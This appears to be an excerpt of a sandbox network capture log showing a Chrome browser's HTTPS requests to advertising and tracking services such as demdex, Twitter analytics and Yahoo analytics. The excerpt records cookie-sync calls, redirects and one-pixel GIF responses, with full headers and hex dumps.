2024-12-29 12:55:46 UTC	797	OUT	GET /ibs:dpid=358&dpuuid=7919660468872361886 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579
2024-12-29 12:55:47 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:47 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: lgZHiVXWTvo= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0bd5f2040.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:47 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:47 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:47 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	50699	104.244.42.195	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:46 UTC	470	OUT	GET /i/adsct?p_user_id=81980359511806646913714319239841733483&p_id=38594 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: personalization_id="v1_qINRniee1m6dmxnwCWM25w=="
2024-12-29 12:55:47 UTC	400	IN	HTTP/1.1 200 OK date: Sun, 29 Dec 2024 12:55:46 GMT perf: 7402827104 server: tsa_b content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: da86dbc8bf49caf1 strict-transport-security: max-age=631138519 x-response-time: 5 x-connection-hash: 327a11a440848374ae0a75935c24202ffb312ba160fc2286ac6253d0b0477e0b connection: close
2024-12-29 12:55:47 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50698	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:46 UTC	1062	OUT	GET /ibs:dpid=1175&gdpr=0&dpuuid=rBnh2q4Ystq3HrTfrxj70qhItNm3GrLbrRp0Vyrd HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579
2024-12-29 12:55:47 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:47 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: gMSQTYFvRJU= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-01d9e974d.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:47 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:47 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:47 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50709	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:48 UTC	884	OUT	GET /ibs:dpid=771&dpuuid=CAESEIv6GK4jHao86K5Dl2BpM8w&google_cver=1?gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638
2024-12-29 12:55:48 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:48 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: pXzyfIkYQDI= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0d589a7db.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:48 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:48 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:48 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50708	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:48 UTC	1072	OUT	GET /ibs:dpid=903&dpuuid=1583541f-3b09-4660-8f24-5ee8afc5ad60 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469
2024-12-29 12:55:48 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:48 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: U96glbVFQaM= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-079032980.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:48 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:48 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:48 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50714	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:48 UTC	835	OUT	GET /ibs:dpid=992&dpuuid=12uyav2s7qrz9 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638
2024-12-29 12:55:48 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:48 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: OpDOc6OZT2I= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0bd5f2040.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:48 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:48 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:48 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50713	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:48 UTC	838	OUT	GET /ibs:dpid=782&dpuuid=Z3FGwQAAAIPC1wOJ HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638
2024-12-29 12:55:48 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:48 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: gLBZLjsIReU= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-03958bfe0.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:48 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:48 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:48 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50734	172.64.150.63	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:49 UTC	713	OUT	GET /i.match?p=b13&u=81980359511806646913714319239841733483&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ HTTP/1.1 Host: a.tribalfusion.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:49 UTC	901	IN	HTTP/1.1 302 Moved Temporarily Date: Sun, 29 Dec 2024 12:55:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close P3P: CP="NOI DEVo TAIa OUR BUS" X-Function: 206 X-Reuse-Index: 523 Cache-Control: no-cache Cache-Control: private Expires: Thu, 01 Jan 1970 00:00:00 GMT Pragma: no-cache Set-Cookie: ANON_ID=axnoeUsKBRxFmDqS86KRhBiEjlMTBbkp0YrJmv4s; path=/; domain=.tribalfusion.com; expires=Sat, 29-Mar-2025 12:55:49 GMT; SameSite=None; Secure; Set-Cookie: ANON_ID_old=axnoeUsKBRxFmDqS86KRhBiEjlMTBbkp0YrJmv4s; path=/; domain=.tribalfusion.com; expires=Sat, 29-Mar-2025 12:55:49 GMT; Location: https://s.tribalfusion.com/z/i.match?p=b13&u=81980359511806646913714319239841733483&redirect=https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid=22054&dpuuid=$TF_USER_ID_ENC$ CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8f99f2575b4017b5-EWR alt-svc: h3=":443"; ma=86400
2024-12-29 12:55:49 UTC	42	IN	Data Raw: 32 34 0d 0a 3c 68 31 3e 45 72 72 6f 72 20 33 30 32 20 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 68 31 3e 0d 0a Data Ascii: 24<h1>Error 302 Moved Temporarily</h1>
2024-12-29 12:55:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50739	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:49 UTC	892	OUT	GET /ibs:dpid=1175&gdpr=0&dpuuid=rBnh2q4Ystq3HrTfrxj70qhItNm3GrLbrRp0Vyrd HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460
2024-12-29 12:55:50 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:50 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: womTf35vQVE= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-0515bca05.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:50 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:50 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:50 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50738	188.125.88.204	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:49 UTC	674	OUT	GET /cms?partner_id=ADOBE&_hosted_id=81980359511806646913714319239841733483&gdpr=0&gdpr_consent= HTTP/1.1 Host: cms.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:50 UTC	377	IN	HTTP/1.1 302 Redirect Date: Sun, 29 Dec 2024 12:55:50 GMT Connection: close Strict-Transport-Security: max-age=31536000 Server: ATS Cache-Control: no-store Location: https://ups.analytics.yahoo.com/ups/58782/cms?partner_id=ADOBE&_hosted_id=81980359511806646913714319239841733483&gdpr=0&gdpr_consent= Content-Type: text/html Content-Language: en Content-Length: 257
2024-12-29 12:55:50 UTC	257	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 48 61 73 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 77 68 69 74 65 22 20 46 47 43 4f 4c 4f 52 3d 22 62 6c 61 63 6b 22 3e 0a 3c 48 31 3e 44 6f 63 75 6d 65 6e 74 20 48 61 73 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 3c 48 52 3e 0a 0a 3c 46 4f 4e 54 20 46 41 43 45 3d 22 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 22 3e 3c 42 3e 0a 44 65 73 63 72 69 70 74 69 6f 6e 3a 20 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 79 6f 75 20 72 65 71 75 65 73 74 65 64 20 68 61 73 20 6d 6f 76 65 64 20 74 6f 20 61 20 6e 65 77 20 6c 6f 63 61 74 69 6f 6e 2e 0a 3c 2f 42 3e 3c 2f 46 4f 4e 54 3e 0a 3c 48 52 3e 0a 3c 2f 42 4f 44 59 Data Ascii: <HTML><HEAD><TITLE>Document Has Moved</TITLE></HEAD><BODY BGCOLOR="white" FGCOLOR="black"><H1>Document Has Moved</H1><HR><FONT FACE="Helvetica,Arial"><B>Description: The document you requested has moved to a new location.</B></FONT><HR></BODY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	50742	192.132.33.68	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:50 UTC	632	OUT	GET /dmp/adobe/user?dd_uuid=81980359511806646913714319239841733483 HTTP/1.1 Host: bttrack.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 12:55:51 UTC	558	IN	HTTP/1.1 302 Found Cache-Control: private,no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Location: //dpm.demdex.net/ibs:dpid=49276&dpuuid=4751b02c-91a9-44d0-98c8-2ce193718c9d Set-Cookie: GLOBALID=2uKlc8-sIBd987FnJwbBG5z8BXQAp1KH9HQ4nXO3ILuOQblsCPC8qnrN5hhQmHBWIWr2kqWlXJQC4TM1; domain=.bttrack.com; expires=Sat, 29-Mar-2025 12:55:15 GMT; path=/; secure; SameSite=None X-ServerName: Track004-iad Date: Sun, 29 Dec 2024 12:55:14 GMT Connection: close Content-Length: 206 Strict-Transport-Security: max-age=31536000;
2024-12-29 12:55:51 UTC	206	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 25 32 66 25 32 66 64 70 6d 2e 64 65 6d 64 65 78 2e 6e 65 74 25 32 66 69 62 73 25 33 61 64 70 69 64 25 33 64 34 39 32 37 36 25 32 36 64 70 75 75 69 64 25 33 64 34 37 35 31 62 30 32 63 2d 39 31 61 39 2d 34 34 64 30 2d 39 38 63 38 2d 32 63 65 31 39 33 37 31 38 63 39 64 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="%2f%2fdpm.demdex.net%2fibs%3adpid%3d49276%26dpuuid%3d4751b02c-91a9-44d0-98c8-2ce193718c9d">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50751	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:51 UTC	1135	OUT	GET /ibs:dpid=1957&dpuuid=36FF432003A167C3345E564402D36635 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610
